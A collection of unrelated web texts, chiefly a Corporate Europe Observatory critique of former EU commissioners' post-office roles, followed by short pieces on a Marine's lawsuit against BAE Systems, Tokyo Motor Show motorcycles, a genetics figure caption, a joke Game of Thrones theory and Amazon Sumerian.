TNC was one of several NGOs criticised by Naomi Klein for its links to fossil fuel companies. The board of directors of TNC is full of people with corporate roles including Goldman Sachs, Google, Alibaba group, Blackstone Group, and many others. TNC's Vice Chair is James E Rogers, the retired Chairman, President and CEO of Duke Energy; the head of TNC, Mark Tercek, is a former Managing Director and Partner at Goldman Sachs, where he worked for 24 years.
In our view, the Commission should have applied a far lengthier and broader lobby ban, with specific reference to those corporations with funding or governance links to the TNC. Even if Damanaki does not directly lobby the Commission for 18 months, she is clearly a high-profile and well-connected individual and she would be able to provide substantial advocacy advice (indirect lobbying) to her new employer. It should also have seriously considered whether it was even appropriate for Damanaki to take such a role which is so closely associated with her previous portfolio, at an organisation so close to corporate interests, soon after leaving office. We contacted Maria Damanaki; she told us that there were no overlaps between her old role and the new one and that there was no basis for concerns about conflicts of interest; her full response can be read here.
More information: http://corporateeurope.org/revolvingdoorwatch/cases/maria-damanaki or in our spreadsheet.
Janez Potočnik (Slovenia)
Among the new moves of former Environment Commissioner Janez Potočnik is Chairman of the Forum for the Future of Agriculture, which is the creation of the European Landowners' Organisation and Syngenta. Syngenta is one of the world's largest pesticide companies; in the EU lobby register it declares a 2014 lobby budget of €1,250,000-€1,499,999. In 2011, CEO wrote of the fourth Forum for the Future of Agriculture: “What was announced as a 'meeting place for those who have a stake in the future of agriculture' was in fact a tightly orchestrated lobbying event for Syngenta to polish its image and promote its agenda for the reform of EU agricultural policies.” The Commission authorised this move so long as Potočnik's involvement excludes anything that could be related to the commercial interests of Syngenta. It is hard to understand what this means in practice, considering that the Forum for the Future of Agriculture is a lobby event promoting the interests of agribusiness corporations representing their own agricultural model. When asked by CEO, Potočnik told us that:
"I was as Commissioner for Environment participating quite regularly on FFA since I have believed, and I still do so, that this is one of the best opportunities to prepare agricultural community to necessary changes arising from the need to respect sustainability."
More information: http://corporateeurope.org/revolvingdoorwatch/cases/janez-poto-nik or in our spreadsheet.
Algirdas Šemeta (Lithuania)
Algirdas Šemeta, the former commissioner for taxation and customs union is now the new Ukrainian Business Ombudsman. This role forms part of Ukraine's anti-corruption initiative and involves the Ukrainian Government and business associations including the American Chamber of Commerce in Ukraine, the European Business Association, the Federation of Ukrainian Employers, the Ukrainian Chamber of Commerce and Industry, and the Ukrainian League of Industrialists and Entrepreneurs. The Commission's Ad hoc Ethical Committee decided that the position of Ukraine Business Ombudsman was “essentially one of independent service in the public interest”, but we were very surprised that Šemeta was not even reminded of the standard 18 month lobby ban, considering its links with business interests. We tried to contact Šemeta via twitter and facebook but no response was received.
More information: http://corporateeurope.org/revolvingdoorwatch/cases/algirdas-emeta or in our spreadsheet.
Štefan Füle (Czech Republic)
Štefan Füle is the former Commissioner for Enlargement and European Neighbourhood Policy 2010-2014 and is now a member of the think-tank, the Central European Strategy Council’s International Advisory Board; according to information from the Commission (as of 7 August 2015) he has not sought authorisation for this role. The CESC aims to “strengthen the voice of Slovakia and Central Europe in European and global affairs” by connecting “key Central European personalities and experts in foreign and security policy”. The Code of Conduct for Commissioners says that serving commissioners can hold “honorary unpaid posts in political, cultural, artistic or charitable foundations or educational institutions”; presumably these roles for former commissioners do not require notification or authorisation. And yet, many other former commissioners have notified such unpaid roles, and some have been through a formal authorisation process too. Arguably there is a link between this role and Füle's former role as Commissioner for Enlargement and European Neighbourhood Policy. We think all such roles should go through a formal authorisation process. We tried to contact Füle via the Central European Strategy Council but we received no reply.
Conclusions
In September 2014, a research report written for the European Parliament concluded that:
“Overall, the [Commissioners' Code of Conduct] is characterised by its poor checks and balances, the absence of a coherent implementation system, and opacity surrounding its operation (eg with regard to the Ad hoc Ethical Committee). Whilst other ethics systems contribute to enhance public trust in government, the EC’s system appears tilted towards the Commissioners’ political and career interests”.
We couldn't agree more and it is time for an overhaul of the ethical rules for commissioners, including for after they leave office, as suggested below (and further detailed in the annex):
All former commissioners should be explicitly forbidden from accepting any new role which risks creating a conflict of interest with their former role as a European commissioner for three years after their departure; this would at least match the period of the generous transitional allowance to which all ex-commissioners are entitled. If this had been in place, in our view, at least eight authorised roles by Barroso II commissioners would have been rejected: Viviane Reding to sit on the boards of the mining company Nyrstar, Agfa Gevaert and the Bertelsmann Foundation
Siim Kallas to provide consultancy to IT company Nortal
Neelie Kroes to advise Bank of America Merrill Lynch
Karel De Gucht to sit on the boards of CVC, Merit Capital and Belgacom/ Proximus A number of other authorisations are problematic, revealing a cavalier attitude to the risk that corporate interests could gain significant benefit from the recruitment of former commissioners to a variety of paid and unpaid roles: José Manuel Barroso: European Business Summit and Bilderberg Conference
Maria Damanaki: The Nature Conservancy
Joaquín Almunia: energy study conducted by The European House-Ambrosetti, commissioned by Enel
Janez Potočnik: Forum for the Future of Agriculture
Algirdas Šemeta: Ukrainian Business Ombudsman The ban on lobbying should be extended to a full three years and it should explicitly cover both direct and indirect lobbying. If there is any likelihood that a new role could involve lobbying, the role should be rejected altogether, rather than restrictions being placed on the lobbying component. It is too limited to restrict the lobby ban to issues related to former commissioners' most recent portfolio. Because commissioners are high-profile and influential individuals who, as part of the College of Commissioners, take many collective decisions on a wide range of issues over a period of years, the lobby ban should be absolute and cover all issues. It should also be expanded to cover the lobbying of all EU institutions, not just the Commission. All new roles (paid or unpaid, 'honorary' or not, public office or not) should be formally notified to the Commission, and should go through an authorisation process. There should be full transparency about all former commissioners' revolving door moves, via a dedicated website which publishes information along the lines of that in our spreadsheet. Moves which have been notified to the Commission but which do not need formal authorisation under the current rules (ie public office) should also be included. Cases where new roles were considered and ultimately rejected for authorisation should also be made transparent. The current Ad hoc Ethical Committee should be abolished and replaced with a fully independent ethics committee made up of experts drawn from member states' ethics and administration systems, with no links to the EU institutions, which would be responsible for the whole authorisation process. This would stop reliance on former EU-nsiders and avoid the current situation where Commission colleagues and officials are required to judge their (recent, former) colleagues and/ or to make decisions which could limit their own post-departure career options. The fully independent committee should be supported by a well-resourced secretariat with investigative powers. This would enable further research and checking to take place and could also help with post-authorisation monitoring (see below). The new independent ethics committee should be responsible for looking at all former commissioners' new roles – paid and unpaid – and its work and findings should be fully transparent. Its remit could be further expanded to all matters concerning ethics and conflict of interest regulations, policies, codes applying to Commission staff and commissioners, and their implementation and enforcement, with the aim of promoting high ethical standards and best practice. This would help introduce joined-up thinking in cases like that of Siim Kallas who has multiple roles and obligations, as a former commissioner, a current Commission special adviser, and (until August 2015) a private sector consultant. It is highly problematic that former commissioners' entitlement to the transitional allowance (three years) exceeds their formal obligation to seek authorisation for new roles (eighteen months), and that it is possible to earn both a new salary and the allowance simultaneously. The requirement to notify should match the period of entitlement for the transitional allowance. It is very presumptuous to pre-announce the recruitment of a former commissioner before the Commission has given its formal authorisation. No new roles should be publicised until they have received full authorisation. Finally, we note that there are no revolving doors rules which apply to the President of the European Council. We propose that the European Council also adopts these recommendations urgently, considering the senior nature of that role.
Overall, there needs to be a far more rigorous and, dare we say, sceptical, approach taken to the revolving door, especially as it affects the EU's most senior leaders, so as to ensure that experiences and insights gained from years of working at the highest levels of public office do not end up benefiting private, corporate interests.
The case for reform is compelling, although it is likely too late to impact upon the former Barroso II commissioners. So the question is whether Jean-Claude Juncker's College of Commissioners are prepared to vote to toughen up the rules for when they themselves eventually leave office. We are not holding our breath.
Annex: Existing rules and proposals for change
In this annex, we present the existing rules and present an in-depth analysis of how they should be changed.
1. What are the revolving door obligations on former commissioners?
According to the Code of Conduct for Commissioners the rules are as follows:
For 18 months after leaving office, a commissioner intending to engage in an “occupation”, shall inform the Commission.
The College of Commissioners ultimately decides whether or not to authorise a role (and whether to place any limits or restrictions on it) based on its compatibility with EU treaty article 245 which gives former commissioners a duty “to behave with integrity and discretion as regards the acceptance, after they have ceased to hold office, of certain appointments or benefits”.
When the occupation is related to the commissioner's former portfolio, the Commission is obliged to seek advice of the Ad hoc Ethical Committee. When cases are not referred to the committee, the Commission's Secretariat General develops a proposal for authorisation, upon which the Legal Service is consulted.
The rules ban all former commissioners for 18 months after leaving office, from lobbying the Commission on behalf of business, clients, employers on matters connected to their previous portfolio.
The rules say that public office roles need to be notified to the Commission, but do not need formal authorisation.
The rules make clear that commissioners have an ongoing duty, beyond the 18 months after they have left office, to behave with integrity and discretion.
Former commissioners are also entitled to a generous transitional allowance for three years, of between 40 per cent and 65 per cent of the final basic salary, depending on the length of service. The allowance is capped; if a former commissioner takes up any new gainful activity, the new pay added together with the allowance, cannot exceed their former remuneration as a member of the Commission. Since July 2012, the basic gross salary of a commissioner is €20,832 per month; the President earns €25,554. The net average salary across the EU is €1470 per month.
2. Composition and Tasks of the Ad hoc Ethical Committee
The Ad hoc Ethical Committee consists of a trio of ex-EU institution insiders (currently a former Commission director-general, an ex-MEP, and an ex-EU judge), tasked with providing an opinion to the Commission on the compatibility of former commissioners' proposed new roles with their obligations under the EU treaty. The remit of the Ad hoc Ethical Committee is limited. It can only consider the cases that are referred to it by the Commission, and the Commission only hands over cases where a proposed new role is considered to have a link with the commissioner's former portfolio or another specific concern. The committee can only give an opinion or make a recommendation; it is not a decision-making body.
The committee was embroiled in a major scandal in 2012-13 when the then Commission President Barroso decided to re-appoint Michel Petite as the committee's Chairman. Petite had had a controversial spin through the revolving door himself from the Commission's Legal Service to global law firm Clifford Chance in 2008 where his clients have included tobacco firm Philip Morris. Petite has also carried out lobbying vis a vis the Commission. Following an NGO complaint, the European Ombudsman wrote to Barroso recommending that Petite be replaced; soon after he 'resigned' and was replaced. The Commission has yet to admit any wrong-doing in this debacle.
3. Detailed analysis of necessary changes to the Code of Conduct for Commissioners
3.1 Conflicts of interest and lobbying
The current Code of Conduct for Commissioners is far too vague to provide an adequate framework for the assessment of whether former commissioners' proposed new roles are appropriate. Article 245 of the Treaty on the Functioning of the European Union (TFEU) which gives former commissioners a duty “to behave with integrity and discretion as regards the acceptance, after they have ceased to hold office, of certain appointments or benefits” is very subjective and unclear. Moreover the phrase “conflict of interest” does not appear within the revolving door rules at all.
Considering this, it is perhaps not surprising that all proposed Barroso II Commission roles put before it, have been authorised by the College of Commissioners (Commission information to 1 October 2015). Additionally, in no case has the Commission implemented tougher restrictions than those set out in the Code of Conduct. In our view, all former commissioners should be explicitly forbidden from accepting any new role which risks creating a situation of a conflict of interest with their former role as a European commissioner for three years after their departure. This should be accompanied by a comprehensive explanation of what this means (perhaps with reference to the OECD's guidelines in this area).
There are further flaws within the Code of Conduct for Commissioners, compounded by the lack of definition of key words and phrases. The word “occupation” is unclear: does that mean only paid work, or unpaid roles too? Lobbying is also not explicitly defined, but it appears to be limited to direct lobbying: sending emails and letters to the Commission; or making calls and holding meetings with former colleagues. Indirect lobbying ie providing advice to new colleagues on the best way to approach the Commission, based on the insights and network gained as a former commissioner, does not seem to be included and this represents a major loophole in the rules.
The lobby ban for former commissioners needs to be toughened up. The ban on lobbying should be extended to a full three years and it should explicitly cover both direct and indirect lobbying. If there is any likelihood that a new role could involve lobbying, the role should be rejected altogether, rather than restrictions being placed on the lobbying component.
As outlined above, in the cases of De Gucht, Kroes, Reding and others, we feel it is too limited to restrict the lobby ban to issues related to former commissioners' most recent portfolio. Commissioners are high-profile and influential individuals who, as part of the college, take many collective decisions on a wider range of issues over a period of years. In this case, the lobby ban should be absolute and cover all issues. It should also be expanded to cover the lobbying of all EU institutions, not just the Commission.
3.2 Notification and / or authorisation
The current Code of Conduct is too limited in determining which roles require authorisation, which require only to be notified to the Commission, and when the Ad hoc Ethical Committee should be asked to provide an opinion, and it has led to some strange decisions.
The Code of Conduct says that serving commissioners can hold “honorary unpaid posts in political, cultural, artistic or charitable foundations or educational institutions”. Honorary is interpreted as no management role, no decision-making power, and no responsibility or control of operations. The revolving door section of the rules does not explicitly refer to such roles, so presumably these role fall outside of the rules and do not requite notification or authorisation. A range of roles have been classed in this category and accepted as notified but not requiring authorisation. But in some cases, we have questioned that decision. Surely when former Commission President Barroso accepts a role with Brussels' biggest corporate lobbying event, the European Business Summit, it should go through a formal authorisation process?
Also, Štefan Füle is now a member of the Central European Strategy Council’s International Advisory Board and, as of 7 August 2015, he has not been in touch with the Commission about this role. The Code of Conduct for Commissioners says that serving commissioners can hold “honorary unpaid posts in political, cultural, artistic or charitable foundations or educational institutions”. Honorary is interpreted as no management role, no decision-making power, and no responsibility or control of operations. The revolving door section of the rules does not explicitly refer to such roles, so presumably these roles do not require notification or authorisation. And yet, many other former commissioners have notified such unpaid roles, and some have been through a formal authorisation process. Arguably there is a link between this role and Füle's role as Commissioner for Enlargement and European Neighbourhood Policy.
We consider it would be far better to avoid any confusion by ensuring that all new roles (paid or unpaid, 'honorary' or not, public office or not) should be formally notified to the Commission, and should go through an authorisation process.
3.3 Transparency
Currently, the only way to get the concrete details of former commissioners' new moves involves scrutiny of Commission minutes to find such decisions, followed by access to documents requests to obtain the paperwork. This is inefficient for both the Commission (who have privately expressed their frustration to us about the volume of our access to documents requests on these issues) and for those of us who wish to scrutinise the new roles. It is also not effective transparency. The European Ombudsman has recently suggested that there should be full transparency about all former commissioners' revolving door moves, via a dedicated website which publishes information along the lines of that in our spreadsheet. We echo that demand, and if the information is already releasable under access to documents, the information should be pro-actively published by the Commission so it can be easily accessed by citizens and watchdog groups. Moves which have been notified to the Commission but which do not need formal authorisation under the current rules (ie public office) should also be included. Cases where new roles were considered and ultimately rejected for authorisation should also be made transparent.
The Commission has so far refused to provide any further information on three requests for authorisation that were subsequently withdrawn by the former commissioners concerned: Connie Hedegaard (one role) and Androulla Vassiliou (two roles). Vassiliou has told us that “the Ad Hoc Ethical Committee's opinion was that there might have been a conflict of interest, I respected their opinion and I rejected the two offers without proceeding with an application to the Europ. Commission. As I rejected the two offers, the matter is considered closed.”
A similar process led to Barroso I commissioner Charlie McCreevy eventually withdrawing an application to join the board of a bank in 2009-10 having seen the (negative) recommendation of the Ad hoc Ethical Committee, and after an email exchange with the then Secretary General, but before the College was requested to make a final decision. We consider that all opinions of the Ad hoc Ethical Committee should be made transparent in all cases considered.
3.4 Independence of the committee
According to our database, only 35 out of 96 authorised cases have been referred to the Ad hoc Ethical Committee. No formal capacity and resources are allocated to the committee to help it to do its work, although the Commission has told us that the committee can “request the Commission to provide the additional information that they consider necessary”. If a request for authorisation has not been passed to the committee, the Commission's own services (the ethics unit within the Secretariat General) produce a recommendation for the ultimate decision-maker, the College of Commissioners. As far as we are aware, the college has yet to dissent from any recommendation provided to it on a Barroso II revolving door move. The college's meeting minutes do not reveal the extent of discussion and debate when the college takes a decision on one of these cases, but it is not hard to imagine that it plays a 'rubber stamp' role, simply endorsing what is recommended to it. It is therefore very important that the advice provided is of the highest quality. This is why we think that the present system should be overhauled.
The current Ad hoc Ethical Committee should be abolished and replaced with a fully independent ethics committee made up of experts drawn from member states' ethics and administration systems with no links to the EU institutions. This independence is important. In our view, the EU institutions are not as vigilant as they should be about the risk of conflicts of interest arising from the revolving door. Current commissioners, staff and ex-EU insiders should not formulate advice or make decisions on their contemporaries' proposed new roles; there is a risk that residual loyalties might skew the process. Additionally, it is not appropriate to ask those who might wish to spin through the revolving door in the future, to advise or make decisions on others' revolving door moves today.
Arguably the current Code of Conduct rules placed President Barroso in a situation of a conflict of interest when he handled the revolving door roles of his former colleagues. On 9 September 2014, former commissioner Viviane Reding wrote to Barroso to seek authorisation to join the Bertelsmann Foundation. Meanwhile, on 9 October 2014 while still president, Barroso himself wrote to Catherine Day, the Secretary General to request authorisation for his own plans for post-office activities, including at the World Economic Forum. A fully independent committee would (help) resolve this problem.
The fully independent committee should be supported by a well-resourced secretariat with investigative powers. This would enable further research and checking to take place, ensuring that former commissioners' assertions are not the only evidence used when formulating a recommendation. It could also help with post-authorisation monitoring (see below).
The new independent ethics committee should be responsible for all former commissioners' new roles – paid and unpaid – and its work and recommendations should be fully transparent. It should be proactive, rather than waiting for issues to be referred to it. Its remit could be further expanded to all matters concerning ethics and conflict of interest regulations, policies, codes applying to Commission staff and commissioners, and their implementation and enforcement, with the aim of promoting high ethical standards and best practice. This would help introduce joined-up thinking in cases like that of Siim Kallas who has had multiple and simultaneous roles and obligations, as a former commissioner, a current Commission special adviser, and a (former) private sector consultant. The independent ethics committee, supported by a resourced secretariat, should also be responsible for monitoring that the rules and any specific conditions placed upon new roles, are abided by.
3.5 Consistent application of the rules
The way in which former commissioners are informed about the authorisations of their new roles and their ongoing obligations varies significantly. Sometimes, former commissioners have been reminded about their obligations under Article 245 of the EU treaty “to behave with integrity and discretion” and to follow the “obligation of professional secrecy”. Article 245 applies equally to all commissioners; so why not remind them of that equally?
And the lobby ban is handled differently from case to case. It seems a major omission not to have even mentioned the standard lobby ban in the case of former commissioner Algirdas Šemeta in his role as Ukrainian business ombudsman, a role set up and paid for by business interests in Ukraine. In fact this role was authorised without any reminder at all, let alone any added restrictions.
In our view, a fully independent ethics committee and secretariat which is responsible for the whole authorisation process of former commissioners' new roles, combined with proactive transparency in this area, could really help to improve the consistency with which these cases are handled.
3.6 Transitional allowance and authorisation period for new roles
In theory, the transitional allowance ensures that former commissioners do not need to rush to find a new job for financial reasons after leaving the Commission, and thus risk a possible conflict of interest. By all calculations, the transitional allowance for former commissioners is very generous, and if former commissioners are to have such an entitlement for three years, it is right that they have ethical obligations for the same length of time. However, it is highly problematic that former commissioners' entitlement to the allowance (three years) exceeds their formal obligation to seek authorisation for new roles (eighteen months), and that it is possible to earn both a new salary and the allowance simultaneously. Former commissioners already have a three-year obligation to notify the Commission about their other sources of income so that any necessary reduction can be made to the transitional allowance due. It would be a very easy change to extend the period during which commissioners should seek authorisation for new roles from eighteen months to three years.
However, it should also be the case that the Code of Conduct for Commissioners applies to all commissioners whether or not they accept the transitional allowance. A former commissioner who rejects the transitional allowance, or who draws their Commission pension rather than the allowance, or chooses to earn such a large sum from a third party that she loses her entitlement to the allowance, should still be covered by the revolving door rules in the Code of Conduct.
Reding has received Commission authorisation to join the board of Nyrstar, but has yet to do so.
To date, De Gucht has not been appointed to the board of Proximus although newspaper reports in September 2015 indicated that the move had now been approved by the Belgian Government (Proximus is 53 per cent owned by the Belgian state); it now requires authorisation by the Proximus board. |
A Marine awarded the Medal of Honor for bravery in Afghanistan is suing a British-owned defense contracting firm for allegedly harassing him and raising questions about his mental condition after he questioned the practice of selling high-tech rifle scopes to the Pakistani military.
Dakota Meyer wrote to his supervisor at BAE Systems that selling such gear to the Pakistanis was “giving it to guys known to stab us in the back,” according to an article by Wall Street Journal reporter Julian Barnes. The article broke the story of Meyer’s lawsuit.
After he complained about the sale to the Pakistanis, Meyer’s bosses called him mentally unstable and a problem drinker, according to the lawsuit. Meyer resigned from the company in May but says that the assertions by BAE make it impossible for him to get a job in the defense industry.
A spokesman for BAE told the Wall Street Journal that all sales to Pakistan have been approved by the State Department as part of the continuing relationship between the two countries.
Meyer, now 23, was awarded the Medal of Honor for saving the lives of three dozen U.S. and Afghan military personnel during a six-hour battle in 2009 that began as a Taliban ambush near the Pakistan border. He received the medal in September from President Obama in a White House ceremony.
As part of his lawsuit, Meyer says a supervisor responded to his concerns by mocking his combat heroism and “hero status.”
Meyer, a sergeant no longer on active duty, asserts that after leaving BAE, he tried to get a job at San Diego-based Ausgar Technologies, where he had worked but was told a poor evaluation from BAE made his hiring impossible. The lawsuit includes an email from an Ausgar manager telling Meyer that he was not being rehired because he was considered “mentally unstable.”
The lawsuit was filed in state court in San Antonio.
RELATED:
Some of the war's battles are fought at home
More women falling into ranks of homeless veterans
Postwar U.S.-Afghantistan ties are expected to remain rocky
-- Tony Perry in San Diego
Photo: Dakota Meyer in eastern Afghanistan. Credit: Reuters |
“Live Free and Send it!” Chilly tribute posters are finished and for sale! Original acrylic painting done by Bill Woodall, inspired by Andrew Miller’s photo from Superpark. 20″ X 28″ they are $30 + $15 for shipping, $45 total. Only 100 being made, all proceeds will be donated to the Turtle Ridge Foundation in Chilly’s name to help fund independent athletes who want to achieve their dreams. To purchase yours today go to Paypal.com and send payment to [email protected]. Dont forget a mailing address in the purchaser note on paypal. Will have a better link set up soon, directly to the Turtle Ridge page, stay tuned and thanks a lot!!
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The Archbishop Emeritus of Cape Town Desmond Tutu doesn't object to Secretary of State John Kerry's use of the word "apartheid" to describe the future of Israel if a peace agreement is not reached.
Kerry has since apologized for his remarks while remaining strongly in support of a two-state resolution. In a HuffPost Live interview Tuesday, however, Tutu likened his own experience under apartheid in South Africa to that of Israel.
"I go and I visit the Holy Land and I see things that are a mirror image of the sort of things that I experienced under the apartheid," Tutu told HuffPost Live host Caroline Modarressy-Tehrani. "How can you stop me from the right to describe as I feel. You go anywhere in the world and if I see things that mirror the kind of experience that I know first-hand, I think it's cheek in a way for someone else to tell you, 'no, you are wrong in feeling as you feel about what you have seen.'"
Although Tutu and his daughter, Reverand Mpho Tutu, admitted to having "missed" Kerry's remarks initially, the anti-apartheid leader did not balk when asked directly if there was anything wrong with invoking this language in the context of Israel.
"No," he replied. "I will say it is even more important because, you know, one cares enormously for both sides of that quarrel or tussle."
Watch Archbishop Tutu's full interview below. |
The Japanese put on a show of force at the Tokyo Motor Show. Honda tore the wraps off its new Monkey and ‘Neo’ cafe racer concepts. Yamaha revealed an oddball three-wheeler. Suzuki showed a tasty potential SV650 variant, and Kawasaki set the interwebs alight with the Z900RS. Which one would you pick?
Honda Monkey 125 concept Built around the same 125cc thumper found in the insanely fun Grom, the refreshed Monkey is a modern throwback to Honda’s mini-bikes of yore. And let’s be honest: it absolutely defines radness. The concept stays true to the original Z-series styling and promises to make riders look as ridiculous as ever, although it has been modernized a touch—with a hat tip towards the scrambler movement.
LED lighting, a digital gauge and disc brakes front and rear bring performance and amenities into the 21st century, but the chunky seat and chromed front fender scream mid-sixties sexiness. Considering that many of the parts used here can be plucked from the Grom bins, I can’t see any reason not to rekindle the Monkey movement. Come on Big Red, you know you wanna! [Honda Japan]
2018 Kawasaki Z900RS After teasing us with video snippets over the past few months, Kawasaki finally revealed the Z900RS in Tokyo. And mouths around here are watering. Harkening back to the mighty Z1, Team Green’s new retro ride is a Universal Japanese Motorcycle version of their Z900 streetfighter with squeaky clean lines and a honey of a power plant.
In RS guise the 948cc inline-4 has been remapped to deliver a beefier bottom end, which has trimmed peak horsepower to 111 (from 123) but keeps it competitive against the Yamaha XSR900. Other mechanical changes include a shorter first gear for extra squirt at the lights, and a longer final drive to quell buzziness on the interstate.
The trellis frame is new and the radial-mount binders up front are a welcome upgrade. Suspension is a carryover from the streetfighter platform, with full adjustability at front and rear.
The overall design looks incredible right out of the box, and we’re looking forward to telling you how it performs. Wes and I are in round 265 of our rock, paper, scissor fight to see who’ll ride it first, so watch this space. [More]
Yamaha Niken When I think of a three-wheeler my mind immediately conjures up images of a sidecar rig. Sure, I’ll grant you that ‘trikes’ can and do exist, but a Ural or some other tasty combination just feels more ‘right.’
Yamaha obviously doesn’t feel the same way. Looking like a Piaggio MP3 with a steroid and amphetamine addiction, the Yamaha Niken is a ‘Leaning Multi-Wheeler’ that, believe it or not, is a production bike thing vehicle. Powered by the same sonorous triple found in the XSR900, the Niken is clearly pitched at performance-minded riders with a Michael Bay fetish who’d prefer not to grind a knee-puck. And they won’t have to, thanks to a front end that is both confusing and incredibly awesome.
It consists of a pair of 15-inch articulating wheels that are suspended by a set of dual-tube, USD forks, each with a floating disc on their outer side. The width up front is 885mm, which should mean those hoops will probably track awkwardly on anything but silky smooth pavement, making it a bit of a workout to ride. Which I will gladly attempt, if Yamaha will have me. In the name of science, of course. [More]
Suzuki SV650X concept Not to be outdone by its countrymen and rivals, Suzuki is also looking to dip a toe in the retro waters with a cafe version of their SV650. The SV650X, as it’s called, is an evolution of last year’s Rally concept that got people talking about the little Suzi in a good way.
This time around, the concept loses the Rally’s 80’s nostalgia and instead captures the look of a slightly customized first-gen, naked SV. And that’s not a bad thing at all. There are clip-ons up front, and that tidy fairing looks as close to a factory product as I’ve ever seen. The tuck-rolled seat already exists in the Suzuki accessory catalogue so unless those mini fog lights are constructed from Unobtanium, I’m unsure as to why the concept tag is still being applied.
The hope is that this thing makes it out of the Tokyo Motor Show and onto showroom floors: it would be a perfect retro styled ride for beginners and those of us not looking to achieve warp speeds. The SV platform has always been a good one: it’s priced right, performs well and looks great with a bit of kit.
Honda Neo Sports Cafe concept Proving that the UJM bug is biting all brands, Honda also debuted its Neo Sports Cafe concept at the Tokyo Motor Show. The design is reminiscent of the CB4 Concept that dropped at EICMA back in 2015, but with a much stronger retro nod. And it’s easily Honda’s prettiest work of recent years.
Powering Big Red’s cafe racer is a re-tuned version of the 999cc engine that powered previous generation CBR1000RRs around the racetracks of the world. That means horsepower figures should slot into the 105-115 range—which is the sweet spot for the bikes of this ilk.
The selvedge denim and Red Wing crowd might find the design language a little too ‘Neo’ for their tastes, but I’m hoping Honda stays true to this iteration. The lines on the sculpted tank are gorgeous to my eyes, and the rear perch is picture-perfect.
As it’s only a motor show concept, tech details are a touch scant. But Honda can still crank out impressive bikes, so we’re hoping this gets the green light. The rumor is that a production version may make it to Italy in the coming weeks. [Via] |
I can't believe how many cool snacks and sweets my SS gave me!!!
When I went to pick up the package I was shocked at how big it was, it is filled to the brim with biscuits, sweets, chocolates, lollies, everything!! My gifter even included some of my favorite chocolate bars! It was so cool to receive snacks from the US because I've never heard or tasted almost all the snacks and sweets I received! One thing I noticed is that there seems to be a lot of sweets that heavily involve chilies or other spices, at first it was a weird concept but they all taste so delicious!
Thank you so much to my gifter! It was so so so much more then I was ever expecting!! Thank you!! |
Figure 5
Variant subtraction and filtration. Only a subset of variants in a sample are legitimate candidates that might be responsible for the mutant phenotype of interest. In addition to the ability to map potential mutant lesions to a small region (∼1 Mb), the CloudMap pipeline allows users to subtract nonphenotype-inducing variants from consideration. (A) Subtracting variants present in the background strain. If the premutagenesis, starting strain has been sequenced, users may use the GATK Select Variants tool to subtract starting strain variants (“background variants”) from consideration. (B) Subtracting variants present in other mutant strains from the same screen. If the premutagenesis strain has not been sequenced, then fewer variants can be subtracted from the mutant under consideration. If other mutant strains from the same screen have been sequenced, common variants present in the premutagenesis strain can be deduced from sequence analysis of such mutants. Employing a fairly conservative approach, we can choose to subtract variants only if they are present in only two or more mutants that have been derived from forward genetic screens on the same starting strain. (C) Subtracting variants present in at least one mutant strain of the same background. A less conservative variant subtraction strategy than mentioned in B involves subtracting all variants that are present in the mutant strain of interest and at least one additional strain from the same screen. (D) Subtracting variants present in at least one strain of any background. A more liberal variant subtraction strategy can be performed by subtracting variants present in at least one strain of any background. The same caveats for this strategy apply as for the strategy described above in C. As variant information from more whole genome sequenced strains becomes available, more variants will be available for this subtraction strategy. |
Azor Ahai, The Prince That Was Promised, is one of the most mysterious figures within Game of Thrones. The Azor Ahai prophecy tells of a figure who can stop the coming of the White Walkers, which would come in real handy right about now. The White Walkers are fast approaching, and Game of Thrones needs to reveal who the chosen one destined to save Westeros is. Some suspect that Jon Snow is The Prince That Was Promised. Others believe that Daenerys Targaryen is meant to become Azor Ahai. But now there's a new candidate. Ed Sheeran could be Azor Ahai on Game of Thrones. Sure, it sounds a little too obvious to be true, but the evidence is SO clear.
Sheeran's arrival on Game of Thrones seemed like it could be a simple cameo. Game of Thrones has had musicians cameo before, including the bands Mastodon, Of Monsters and Men, and Sigur Rós. But while other musicians have cameoed in the past, Game of Thrones has really never had a star as big as Sheeran on the show before (Coldplay doesn't count). Is it any mistake, then, that the Azor Ahai prophecy states that The Prince That Was Promised will be born again "when the red star bleeds?" Ed Sheeran is a redheaded star, so what will happen when he bleeds?
The full prophecy reads: "When the red star bleeds and the darkness gathers, Azor Ahai shall be born again amidst smoke and salt to wake dragons out of stone." Ed Sheeran said that he quit smoking after 10 years, effectively causing himself and his image (and his lungs) to be "born again" amidst smoke (or the lack of it, IDK). As if that wasn't enough, the Ed Sheeran song "Shirtsleeves" checks off the "born amidst salt" part, since the first line proclaims that "I can taste saltwater." As for waking dragons out of stone, if you have heard "Shape of You," then you know a jam like that could wake up even the grumpiest dragon and persuade it to the dance floor. Although in this case, the dance floor will be Ed Sheeran's character's army, which he will use to destroy the White Walkers and save Westeros.
With this in mind, it stands to reason that "When the red star bleeds and the darkness gathers, Azor Ahai shall be born again amidst smoke and salt to wake dragons out of stone," most likely means: "If Ed Sheeran gets cut, this former smoker who sang a song about salt will get the dragons to dance."
The only problem with this otherwise-foolproof theory is that it all presumes that Ed Sheeran is playing himself in Game of Thrones. Rather, Sheeran plays one of many soldiers in the Lannister army, but the episode doesn't give him or any of the other singing men a name. Diligent fans may want to listen closely to future episodes, because if at any point someone refers to Sheeran's character as "Eddard Sheeran of Western Yorkshire," then this theory is essentially confirmed.
Of course, there are several other candidates for Azor Ahai aside from Chart-topping music sensation Ed Sheeran. The list includes Jon Snow, Daenerys Targaryen, Jaime Lannister, Bran Stark, Beric Dondarrion, and and even Ser Pounce, among others. They all seem to have more experience in leading soldiers and dragons against an army of the undead, but can they sing? But can they produce a pop hit like "Thinking Out Loud"? What about a heartbreaking ballad like "The A Team"? They don't call the book series A Song of Ice and Fire for nothing. |
We’d heard months ago that Amazon would be using its Re:Invent AWS event to roll out some a new service related to building in mixed reality — augmented reality and virtual reality. And on the eve of the conference kicking off, it’s done just that. Today the company announced Amazon Sumerian, a new platform for developers to build and host VR, AR and 3D apps quickly and with minimal coding, for smartphones and tablets, head-based displays, digital signage and web browsers. As with many other AWS services, Sumerian is “free” to use: you pay only for the storage for what you create.
The service — announced at AWS’s “Midnight Madness” pre-show event — is available in preview from today. Initially, the service is browser-based and works in any browser that supports WebGL or WebVR graphics rendering, such as Daydream, HTC Vive, Oculus Rift, and iOS mobile devices.
Amazon says different features in Sumerian in preview include the ability to design in AR, VR and 3D immersive environments using libraries of pre-built objects; the ability to create animated characters (using its Lex speech recognition and Polly for natural language understanding); and then shipping the apps to various hardware.
It’s also integrating with third-party developers for certain features — these include Mapbox for location services.
